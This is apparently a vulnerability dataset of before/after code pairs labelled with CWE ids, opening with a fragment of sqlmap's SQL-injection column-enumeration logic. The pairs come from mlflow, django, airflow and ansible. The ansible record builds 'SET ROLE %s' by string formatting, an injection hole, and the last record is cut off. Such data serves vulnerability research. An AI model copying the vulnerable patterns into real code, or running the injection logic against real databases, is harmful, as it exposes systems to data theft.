                elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl)

                if dumpMode and colList:
                    values = [(_,) for _ in colList]
                else:
                    infoMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    values = None
                    if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                        expression = query
                        kb.dumpColumns = []
                        kb.rowXmlMode = True

                        for column in (extractRegexResult(r""SELECT (?P<result>.+?) FROM"", query) or """").split(','):
                            kb.dumpColumns.append(randomStr().lower())
                            expression = expression.replace(column, ""%s AS %s"" % (column, kb.dumpColumns[-1]), 1)

                        values = unionUse(expression)
                        kb.rowXmlMode = False
                        kb.dumpColumns = None

                    if values is None:
                        values = inject.getValue(query, blind=False, time=False)
                        if values and isinstance(values[0], six.string_types):
                            values = [values]

                if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                    index, values = 1, []

                    while True:
                        query = rootQuery.inband.query2 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index)
                        value = unArrayizeValue(inject.getValue(query, blind=False, time=False))

                        if isNoneValue(value) or value == "" "":
                            break
                        else:
                            values.append((value,))
                            index += 1

                if Backend.isDbms(DBMS.SQLITE):
                    if dumpMode and colList:
                        if conf.db not in kb.data.cachedColumns:
                            kb.data.cachedColumns[conf.db] = {}
                        kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList)
                    else:
                        parseSqliteTableSchema(unArrayizeValue(values))

                elif not isNoneValue(values):
                    table = {}
                    columns = {}

                    for columnData in values:
                        if not isNoneValue(columnData):
                            name = safeSQLIdentificatorNaming(columnData[0])

                            if name:
                                if conf.getComments:
                                    _ = queries[Backend.getIdentifiedDbms()].column_comment
                                    if hasattr(_, ""query""):
                                        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                            query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
                                        else:
                                            query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))

                                        comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
                                        if not isNoneValue(comment):
                                            infoMsg = ""retrieved comment '%s' for column '%s'"" % (comment, name)
                                            logger.info(infoMsg)
                                    else:
                                        warnMsg = ""on %s it is not "" % Backend.getIdentifiedDbms()
                                        warnMsg += ""possible to get column comments""
                                        singleTimeWarnMessage(warnMsg)

                                if len(columnData) == 1:
                                    columns[name] = None
                                else:
                                    key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1]
                                    if Backend.isDbms(DBMS.FIREBIRD):
                                        columnData[1] = FIREBIRD_TYPES.get(key, columnData[1])
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        notNull = False
                                        if isinstance(key, int) and key > 255:
                                            key -= 256
                                            notNull = True
                                        columnData[1] = INFORMIX_TYPES.get(key, columnData[1])
                                        if notNull:
                                            columnData[1] = ""%s NOT NULL"" % columnData[1]

                                    columns[name] = columnData[1]

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        elif isInferenceAvailable() and not conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = ""fetched tables' columns on ""
                    infoMsg += ""database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = ""fetching columns ""
                condQuery = """"

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += ""LIKE '%s' "" % "", "".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        colCondParam = ""='%s'""
                        infoMsg += ""'%s' "" % "", "".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))

                    condQueryStr = ""%%s%s"" % colCondParam
                    condQuery = "" AND (%s)"" % "" OR "".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery

                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(""."")[-1])
                    query += condQuery.replace(""[DB]"", conf.db)

                elif Backend.isDbms(DBMS.FIREBIRD):
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl)
                    query += condQuery

                elif Backend.isDbms(DBMS.INFORMIX):
                    query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
                    query += condQuery

                elif Backend.isDbms(DBMS.SQLITE):
                    if dumpMode and colList:
                        if conf.db not in kb.data.cachedColumns:
                            kb.data.cachedColumns[conf.db] = {}
                        kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList)
                    else:
                        query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl)
                        value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        parseSqliteTableSchema(unArrayizeValue(value))

                    return kb.data.cachedColumns

                table = {}
                columns = {}

                if dumpMode and colList:
                    count = 0
                    for value in colList:
                        columns[safeSQLIdentificatorNaming(value)] = None
                else:
                    infoMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if Backend.isDbms(DBMS.MSSQL):
                            count, index, values = 0, 1, []
                            while True:
                                query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index)
                                value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if isNoneValue(value) or value == "" "":
                                    break
                                else:
                                    columns[safeSQLIdentificatorNaming(value)] = None
                                    index += 1

                        if not columns:
                            errMsg = ""unable to retrieve the %scolumns "" % (""number of "" if not Backend.isDbms(DBMS.MSSQL) else """")
                            errMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                            errMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                            logger.error(errMsg)
                            continue

                for index in getLimitRange(count):
                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.H2):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                        query = query.replace("" ORDER BY "", ""%s ORDER BY "" % condQuery)
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.MSSQL):
                        query = rootQuery.blind.query.replace(""'%s'"", ""'%s'"" % unsafeSQLIdentificatorNaming(tbl).split(""."")[-1]).replace(""%s"", conf.db).replace(""%d"", str(index))
                        query += condQuery.replace(""[DB]"", conf.db)
                        field = condition.replace(""[DB]"", conf.db)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl)
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
                        query += condQuery
                        field = condition

                    query = agent.limitQuery(index, query, field, field)
                    column = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if not isNoneValue(column):
                        if conf.getComments:
                            _ = queries[Backend.getIdentifiedDbms()].column_comment
                            if hasattr(_, ""query""):
                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                    query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
                                else:
                                    query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))

                                comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if not isNoneValue(comment):
                                    infoMsg = ""retrieved comment '%s' for column '%s'"" % (comment, column)
                                    logger.info(infoMsg)
                            else:
                                warnMsg = ""on %s it is not "" % Backend.getIdentifiedDbms()
                                warnMsg += ""possible to get column comments""
                                singleTimeWarnMessage(warnMsg)

                        if not onlyColNames:
                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
                            elif Backend.isDbms(DBMS.MSSQL):
                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(""."")[-1])
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column)
                            elif Backend.isDbms(DBMS.INFORMIX):
                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column)

                            colType = unArrayizeValue(inject.getValue(query, union=False, error=False))

                            key = int(colType) if hasattr(colType, ""isdigit"") and colType.isdigit() else colType
                            if Backend.isDbms(DBMS.FIREBIRD):
                                colType = FIREBIRD_TYPES.get(key, colType)
                            elif Backend.isDbms(DBMS.INFORMIX):
                                notNull = False
                                if isinstance(key, int) and key > 255:
                                    key -= 256
                                    notNull = True
                                colType = INFORMIX_TYPES.get(key, colType)
                                if notNull:
                                    colType = ""%s NOT NULL"" % colType

                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = colType
                        else:
                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = None

                if columns:
                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        if not kb.data.cachedColumns:
            warnMsg = ""unable to retrieve column names for ""
            warnMsg += (""table '%s' "" % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else ""any table ""
            warnMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
            logger.warn(warnMsg)

            if bruteForce is None:
                return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)

        return kb.data.cachedColumns"
,UNKNOWN,UNKNOWN,tests/store/artifact/test_databricks_artifact_repo.py,1,"def test_list_artifacts_handles_pagination(self, databricks_artifact_repo):
        list_artifacts_proto_mock_1 = [
            FileInfo(path=""a.txt"", is_dir=False, file_size=100),
            FileInfo(path=""b"", is_dir=True, file_size=0),
        ]
        list_artifacts_proto_mock_2 = [
            FileInfo(path=""c.txt"", is_dir=False, file_size=100),
            FileInfo(path=""d"", is_dir=True, file_size=0),
        ]
        list_artifacts_proto_mock_3 = [
            FileInfo(path=""e.txt"", is_dir=False, file_size=100),
            FileInfo(path=""f"", is_dir=True, file_size=0),
        ]
        list_artifacts_proto_mock_4 = []
        with mock.patch(
            DATABRICKS_ARTIFACT_REPOSITORY_PACKAGE + "".message_to_json""
        ) as message_mock, mock.patch(
            DATABRICKS_ARTIFACT_REPOSITORY + ""._call_endpoint""
        ) as call_endpoint_mock:
            list_artifact_paginated_response_protos = [
                ListArtifacts.Response(
                    root_uri="""", files=list_artifacts_proto_mock_1, next_page_token=""2""
                ),
                ListArtifacts.Response(
                    root_uri="""", files=list_artifacts_proto_mock_2, next_page_token=""4""
                ),
                ListArtifacts.Response(
                    root_uri="""", files=list_artifacts_proto_mock_3, next_page_token=""6""
                ),
                ListArtifacts.Response(
                    root_uri="""", files=list_artifacts_proto_mock_4, next_page_token=""8""
                ),
            ]
            call_endpoint_mock.side_effect = list_artifact_paginated_response_protos
            message_mock.return_value = None
            artifacts = databricks_artifact_repo.list_artifacts()
            assert {file.path for file in artifacts} == {""a.txt"", ""b"", ""c.txt"", ""d"", ""e.txt"", ""f""}
            calls = [
                mock.call(ListArtifacts(run_id=MOCK_RUN_ID, path="""")),
                mock.call(ListArtifacts(run_id=MOCK_RUN_ID, path="""", page_token=""2"")),
                mock.call(ListArtifacts(run_id=MOCK_RUN_ID, path="""", page_token=""4"")),
                mock.call(ListArtifacts(run_id=MOCK_RUN_ID, path="""", page_token=""6"")),
            ]
            message_mock.assert_has_calls(calls)",CWE-703,mlflow/mlflow,1e470596c936f5a9c99017f174dbdffcd108d84b,"def test_list_artifacts_handles_pagination(self, databricks_artifact_repo):
        list_artifacts_proto_mock_1 = [
            FileInfo(path=""a.txt"", is_dir=False, file_size=100),
            FileInfo(path=""b"", is_dir=True, file_size=0),
        ]
        list_artifacts_proto_mock_2 = [
            FileInfo(path=""c.txt"", is_dir=False, file_size=100),
            FileInfo(path=""d"", is_dir=True, file_size=0),
        ]
        list_artifacts_proto_mock_3 = [
            FileInfo(path=""e.txt"", is_dir=False, file_size=100),
            FileInfo(path=""f"", is_dir=True, file_size=0),
        ]
        list_artifacts_proto_mock_4 = []
        with mock.patch(
            DATABRICKS_ARTIFACT_REPOSITORY_PACKAGE + "".message_to_json""
        ) as message_mock, mock.patch(
            DATABRICKS_ARTIFACT_REPOSITORY + ""._call_endpoint""
        ) as call_endpoint_mock:
            list_artifact_paginated_response_protos = [
                ListArtifacts.Response(
                    root_uri="""", files=list_artifacts_proto_mock_1, next_page_token=""2""
                ),
                ListArtifacts.Response(
                    root_uri="""", files=list_artifacts_proto_mock_2, next_page_token=""4""
                ),
                ListArtifacts.Response(
                    root_uri="""", files=list_artifacts_proto_mock_3, next_page_token=""6""
                ),
                ListArtifacts.Response(
                    root_uri="""", files=list_artifacts_proto_mock_4, next_page_token=""8""
                ),
            ]
            call_endpoint_mock.side_effect = list_artifact_paginated_response_protos
            message_mock.return_value = None
            artifacts = databricks_artifact_repo.list_artifacts()
            assert {""a.txt"", ""b"", ""c.txt"", ""d"", ""e.txt"", ""f""} == {file.path for file in artifacts}
            calls = [
                mock.call(ListArtifacts(run_id=MOCK_RUN_ID, path="""")),
                mock.call(ListArtifacts(run_id=MOCK_RUN_ID, path="""", page_token=""2"")),
                mock.call(ListArtifacts(run_id=MOCK_RUN_ID, path="""", page_token=""4"")),
                mock.call(ListArtifacts(run_id=MOCK_RUN_ID, path="""", page_token=""6"")),
            ]
            message_mock.assert_has_calls(calls)"
,UNKNOWN,UNKNOWN,tests/forms_tests/widget_tests/test_textinput.py,1,"def test_attrs_safestring(self):
        widget = TextInput(attrs={'onBlur': mark_safe(""function('foo')"")})
        self.check_html(widget, 'email', '', html='<input onBlur=""function(\'foo\')"" type=""text"" name=""email"" />')",CWE-79,django/django,d8cda352b11ece1070f4aaf4b7a9894908a6160c,"def test_attrs_safestring(self):
        widget = TextInput(attrs={'onBlur': mark_safe(""function('foo')"")})
        self.check_html(widget, 'email', '', html='<input onBlur=""function(\'foo\')"" type=""text"" name=""email"" />')"
,UNKNOWN,UNKNOWN,tests/models/test_dagbag.py,1,"def test_process_file_duplicated_dag_id(self, tmp_path):
        """"""Loading a DAG with ID that already existed in a DAG bag should result in an import error.""""""
        dagbag = DagBag(dag_folder=os.fspath(tmp_path), include_examples=False)

        def create_dag():
            from airflow.decorators import dag

            @dag(schedule=None, default_args={""owner"": ""owner1""})
            def my_flow():
                pass

            my_dag = my_flow()  # noqa: F841

        source_lines = [line[12:] for line in inspect.getsource(create_dag).splitlines(keepends=True)[1:]]
        path1 = tmp_path / ""testfile1""
        path2 = tmp_path / ""testfile2""
        path1.write_text("""".join(source_lines))
        path2.write_text("""".join(source_lines))

        found_1 = dagbag.process_file(os.fspath(path1))
        assert len(found_1) == 1
        assert found_1[0].dag_id == ""my_flow""
        assert dagbag.import_errors == {}
        dags_in_bag = dagbag.dags

        found_2 = dagbag.process_file(os.fspath(path2))
        assert len(found_2) == 0
        assert dagbag.import_errors[os.fspath(path2)].startswith(
            ""AirflowDagDuplicatedIdException: Ignoring DAG""
        )
        assert dagbag.dags == dags_in_bag",CWE-703,apache/airflow,f1f5212abf5f3fb75df6ed148b56f1f79cf5743b,"def test_process_file_duplicated_dag_id(self, tmp_path):
        """"""Loading a DAG with ID that already existed in a DAG bag should result in an import error.""""""
        dagbag = DagBag(dag_folder=os.fspath(tmp_path), include_examples=False)

        def create_dag():
            from airflow.decorators import dag

            @dag(schedule=None, default_args={""owner"": ""owner1""})
            def my_flow():
                pass

            my_dag = my_flow()  # noqa: F841

        source_lines = [line[12:] for line in inspect.getsource(create_dag).splitlines(keepends=True)[1:]]
        path1 = tmp_path / ""testfile1""
        path2 = tmp_path / ""testfile2""
        path1.write_text("""".join(source_lines))
        path2.write_text("""".join(source_lines))

        found_1 = dagbag.process_file(os.fspath(path1))
        assert len(found_1) == 1
        assert found_1[0].dag_id == ""my_flow""
        assert dagbag.import_errors == {}
        dags_in_bag = dagbag.dags

        found_2 = dagbag.process_file(os.fspath(path2))
        assert len(found_2) == 0
        assert dagbag.import_errors[os.fspath(path2)].startswith(
            ""AirflowDagDuplicatedIdException: Ignoring DAG""
        )
        assert dagbag.dags == dags_in_bag"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/sensors/test_cloud_formation.py,1,"def test_poke(self):
        stack_name = ""foobar""
        self.client.create_stack(StackName=stack_name, TemplateBody='{""Resources"": {}}')
        op = CloudFormationCreateStackSensor(task_id=""task"", stack_name=""foobar"")
        assert op.poke({})",CWE-703,apache/airflow,62ea0ff21ccc900e1bb717937b1a3ab1509767a6,"def test_poke(self):
        stack_name = ""foobar""
        self.client.create_stack(StackName=stack_name, TemplateBody='{""Resources"": {}}')
        op = CloudFormationCreateStackSensor(task_id=""task"", stack_name=""foobar"")
        assert op.poke({})"
,UNKNOWN,UNKNOWN,lib/ansible/modules/database/postgresql/postgresql_slot.py,1,"def main():
    argument_spec = postgres_common_argument_spec()
    argument_spec.update(
        db=dict(type=""str"", aliases=[""login_db""]),
        name=dict(type=""str"", aliases=[""slot_name""]),
        slot_type=dict(type=""str"", default=""physical"", choices=[""logical"", ""physical""]),
        immediately_reserve=dict(type=""bool"", default=False),
        session_role=dict(type=""str""),
        output_plugin=dict(type=""str"", default=""test_decoding""),
        state=dict(type=""str"", default=""present"", choices=[""absent"", ""present""]),
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
    )

    if not HAS_PSYCOPG2:
        module.fail_json(msg=missing_required_lib('psycopg2'))

    db = module.params[""db""]
    name = module.params[""name""]
    slot_type = module.params[""slot_type""]
    immediately_reserve = module.params[""immediately_reserve""]
    state = module.params[""state""]
    ssl_rootcert = module.params[""ca_cert""]
    output_plugin = module.params[""output_plugin""]
    session_role = module.params[""session_role""]

    if immediately_reserve and slot_type == 'logical':
        module.fail_json(msg=""Module parameters immediately_reserve and slot_type=logical are mutually exclusive"")

    # To use defaults values, keyword arguments must be absent, so
    # check which values are empty and don't include in the **kw
    # dictionary
    params_map = {
        ""db"": ""database"",
        ""login_host"": ""host"",
        ""login_user"": ""user"",
        ""login_password"": ""password"",
        ""port"": ""port"",
        ""sslmode"": ""ssl_mode"",
        ""ca_cert"": ""ssl_rootcert""
    }
    kw = dict((params_map[k], v) for (k, v) in module.params.items()
              if k in params_map and v != '')

    # if a login_unix_socket is specified, incorporate it here
    is_localhost = ""host"" not in kw or kw[""host""] == """" or kw[""host""] == ""localhost""
    if is_localhost and module.params[""login_unix_socket""] != """":
        kw[""host""] = module.params[""login_unix_socket""]

    if psycopg2.__version__ < '2.4.3' and ssl_rootcert is not None:
        module.fail_json(msg='psycopg2 must be at least 2.4.3 in order to use the ssl_rootcert parameter')

    db_connection = connect_to_db(module, kw, autocommit=True)
    cursor = db_connection.cursor(cursor_factory=psycopg2.extras.DictCursor)

    # Switch role, if specified:
    if session_role:
        try:
            cursor.execute('SET ROLE %s' % session_role)
        except Exception as e:
            module.fail_json(msg=""Could not switch role: %s"" % to_native(e))

    ##################################
    # Create an object and do main job
    pg_slot = PgSlot(module, cursor, name)

    changed = False

    if module.check_mode:
        if state == ""present"":
            if not pg_slot.exists:
                changed = True

            pg_slot.create(slot_type, immediately_reserve, output_plugin, just_check=True)

        elif state == ""absent"":
            if pg_slot.exists:
                changed = True
    else:
        if state == ""absent"":
            pg_slot.drop()

        elif state == ""present"":
            pg_slot.create(slot_type, immediately_reserve, output_plugin)

        changed = pg_slot.changed

    module.exit_json(changed=changed, name=name, queries=pg_slot.executed_queries)",CWE-89,ansible/ansible,d3dae4a4448975102c48fd6af2260abd2e9fd0a6,"def main():
    argument_spec = postgres_common_argument_spec()
    argument_spec.update(
        db=dict(type=""str"", aliases=[""login_db""]),
        name=dict(type=""str"", aliases=[""slot_name""]),
        slot_type=dict(type=""str"", default=""physical"", choices=[""logical"", ""physical""]),
        immediately_reserve=dict(type=""bool"", default=False),
        session_role=dict(type=""str""),
        output_plugin=dict(type=""str"", default=""test_decoding""),
        state=dict(type=""str"", default=""present"", choices=[""absent"", ""present""]),
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
    )

    if not HAS_PSYCOPG2:
        module.fail_json(msg=missing_required_lib('psycopg2'))

    db = module.params[""db""]
    name = module.params[""name""]
    slot_type = module.params[""slot_type""]
    immediately_reserve = module.params[""immediately_reserve""]
    state = module.params[""state""]
    ssl_rootcert = module.params[""ca_cert""]
    output_plugin = module.params[""output_plugin""]
    session_role = module.params[""session_role""]

    if immediately_reserve and slot_type == 'logical':
        module.fail_json(msg=""Module parameters immediately_reserve and slot_type=logical are mutually exclusive"")

    # To use defaults values, keyword arguments must be absent, so
    # check which values are empty and don't include in the **kw
    # dictionary
    params_map = {
        ""db"": ""database"",
        ""login_host"": ""host"",
        ""login_user"": ""user"",
        ""login_password"": ""password"",
        ""port"": ""port"",
        ""sslmode"": ""ssl_mode"",
        ""ssl_rootcert"": ""ssl_rootcert""
    }
    kw = dict((params_map[k], v) for (k, v) in module.params.items()
              if k in params_map and v != '')

    # if a login_unix_socket is specified, incorporate it here
    is_localhost = ""host"" not in kw or kw[""host""] == """" or kw[""host""] == ""localhost""
    if is_localhost and module.params[""login_unix_socket""] != """":
        kw[""host""] = module.params[""login_unix_socket""]

    if psycopg2.__version__ < '2.4.3' and ssl_rootcert is not None:
        module.fail_json(msg='psycopg2 must be at least 2.4.3 in order to use the ssl_rootcert parameter')

    db_connection = connect_to_db(module, kw, autocommit=True)
    cursor = db_connection.cursor(cursor_factory=psycopg2.extras.DictCursor)

    # Switch role, if specified:
    if session_role:
        try:
            cursor.execute('SET ROLE %s' % session_role)
        except Exception as e:
            module.fail_json(msg=""Could not switch role: %s"" % to_native(e))

    ##################################
    # Create an object and do main job
    pg_slot = PgSlot(module, cursor, name)

    changed = False

    if module.check_mode:
        if state == ""present"":
            if not pg_slot.exists:
                changed = True

            pg_slot.create(slot_type, immediately_reserve, output_plugin, just_check=True)

        elif state == ""absent"":
            if pg_slot.exists:
                changed = True
    else:
        if state == ""absent"":
            pg_slot.drop()

        elif state == ""present"":
            pg_slot.create(slot_type, immediately_reserve, output_plugin)

        changed = pg_slot.changed

    module.exit_json(changed=changed, name=name, queries=pg_slot.executed_queries)"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_model_export_with_loader_module_and_data_path.py,1,"def test_tensor_multi_named_schema_enforcement():
    m = Model()
    input_schema = Schema(
        [
            TensorSpec(np.dtype(np.uint64), (-1, 5), ""a""),
            TensorSpec(np.dtype(np.short), (-1, 2), ""b""),
            TensorSpec(np.dtype(np.float32), (2, -1, 2), ""c""),
        ]
    )
    m.signature = ModelSignature(inputs=input_schema)
    pyfunc_model = PyFuncModel(model_meta=m, model_impl=TestModel())
    inp = {
        ""a"": np.array([[0, 0, 0, 0, 0], [1, 1, 1, 1, 1]], dtype=np.uint64),
        ""b"": np.array([[0, 0], [1, 1], [2, 2]], dtype=np.short),
        ""c"": np.array([[[0, 0], [1, 1]], [[2, 2], [3, 3]]], dtype=np.float32),
    }

    # test that missing column raises
    inp1 = inp.copy()
    with pytest.raises(MlflowException, match=""Model is missing inputs""):
        pyfunc_model.predict(inp1.pop(""b""))

    # test that extra column is ignored
    inp2 = inp.copy()
    inp2[""x""] = 1

    # test that extra column is removed
    res = pyfunc_model.predict(inp2)
    assert res == {k: v for k, v in inp.items() if k in {""a"", ""b"", ""c""}}
    expected_types = dict(zip(input_schema.input_names(), input_schema.input_types()))
    actual_types = {k: v.dtype for k, v in res.items()}
    assert expected_types == actual_types

    # test that variable axes are supported
    inp3 = {
        ""a"": np.array([[0, 0, 0, 0, 0], [1, 1, 1, 1, 1], [2, 2, 2, 2, 2]], dtype=np.uint64),
        ""b"": np.array([[0, 0], [1, 1]], dtype=np.short),
        ""c"": np.array([[[0, 0]], [[2, 2]]], dtype=np.float32),
    }
    res = pyfunc_model.predict(inp3)
    assert _compare_exact_tensor_dict_input(res, inp3)
    expected_types = dict(zip(input_schema.input_names(), input_schema.input_types()))
    actual_types = {k: v.dtype for k, v in res.items()}
    assert expected_types == actual_types

    # test that type casting is not supported
    inp4 = inp.copy()
    inp4[""a""] = inp4[""a""].astype(np.int32)
    with pytest.raises(
        MlflowException, match=""dtype of input int32 does not match expected dtype uint64""
    ):
        pyfunc_model.predict(inp4)

    # test wrong shape
    inp5 = {
        ""a"": np.array([[0, 0, 0, 0]], dtype=np.uint),
        ""b"": np.array([[0, 0], [1, 1]], dtype=np.short),
        ""c"": np.array([[[0, 0]]], dtype=np.float32),
    }
    with pytest.raises(
        MlflowException,
        match=re.escape(""Shape of input (1, 4) does not match expected shape (-1, 5)""),
    ):
        pyfunc_model.predict(inp5)

    # test non-dictionary input
    inp6 = [
        np.array([[0, 0, 0, 0, 0]], dtype=np.uint64),
        np.array([[0, 0], [1, 1]], dtype=np.short),
        np.array([[[0, 0]]], dtype=np.float32),
    ]
    with pytest.raises(
        MlflowException, match=re.escape(""Model is missing inputs ['a', 'b', 'c']."")
    ):
        pyfunc_model.predict(inp6)

    # test empty ndarray does not work
    inp7 = inp.copy()
    inp7[""a""] = np.array([])
    with pytest.raises(
        MlflowException, match=re.escape(""Shape of input (0,) does not match expected shape"")
    ):
        pyfunc_model.predict(inp7)

    # test dictionary of str -> list does not work
    inp8 = {k: list(v) for k, v in inp.items()}
    match = (
        r""This model contains a tensor-based model signature with input names.+""
        r""suggests a dictionary input mapping input name to a numpy array, but a dict""
        r"" with value type <class 'list'> was found""
    )
    with pytest.raises(MlflowException, match=match):
        pyfunc_model.predict(inp8)

    # test dataframe input fails at shape enforcement
    pdf = pd.DataFrame(data=[[1, 2, 3]], columns=[""a"", ""b"", ""c""])
    pdf[""a""] = pdf[""a""].astype(np.uint64)
    pdf[""b""] = pdf[""b""].astype(np.short)
    pdf[""c""] = pdf[""c""].astype(np.float32)
    with pytest.raises(
        MlflowException,
        match=re.escape(
            ""The input pandas dataframe column 'a' contains scalar values, which requires the ""
            ""shape to be (-1,) or (-1, 1), but got tensor spec shape of (-1, 5)""
        ),
    ):
        pyfunc_model.predict(pdf)",CWE-703,mlflow/mlflow,69a112029b17e8a647c1b8e79d941aa737314a44,"def test_tensor_multi_named_schema_enforcement():
    m = Model()
    input_schema = Schema(
        [
            TensorSpec(np.dtype(np.uint64), (-1, 5), ""a""),
            TensorSpec(np.dtype(np.short), (-1, 2), ""b""),
            TensorSpec(np.dtype(np.float32), (2, -1, 2), ""c""),
        ]
    )
    m.signature = ModelSignature(inputs=input_schema)
    pyfunc_model = PyFuncModel(model_meta=m, model_impl=TestModel())
    inp = {
        ""a"": np.array([[0, 0, 0, 0, 0], [1, 1, 1, 1, 1]], dtype=np.uint64),
        ""b"": np.array([[0, 0], [1, 1], [2, 2]], dtype=np.short),
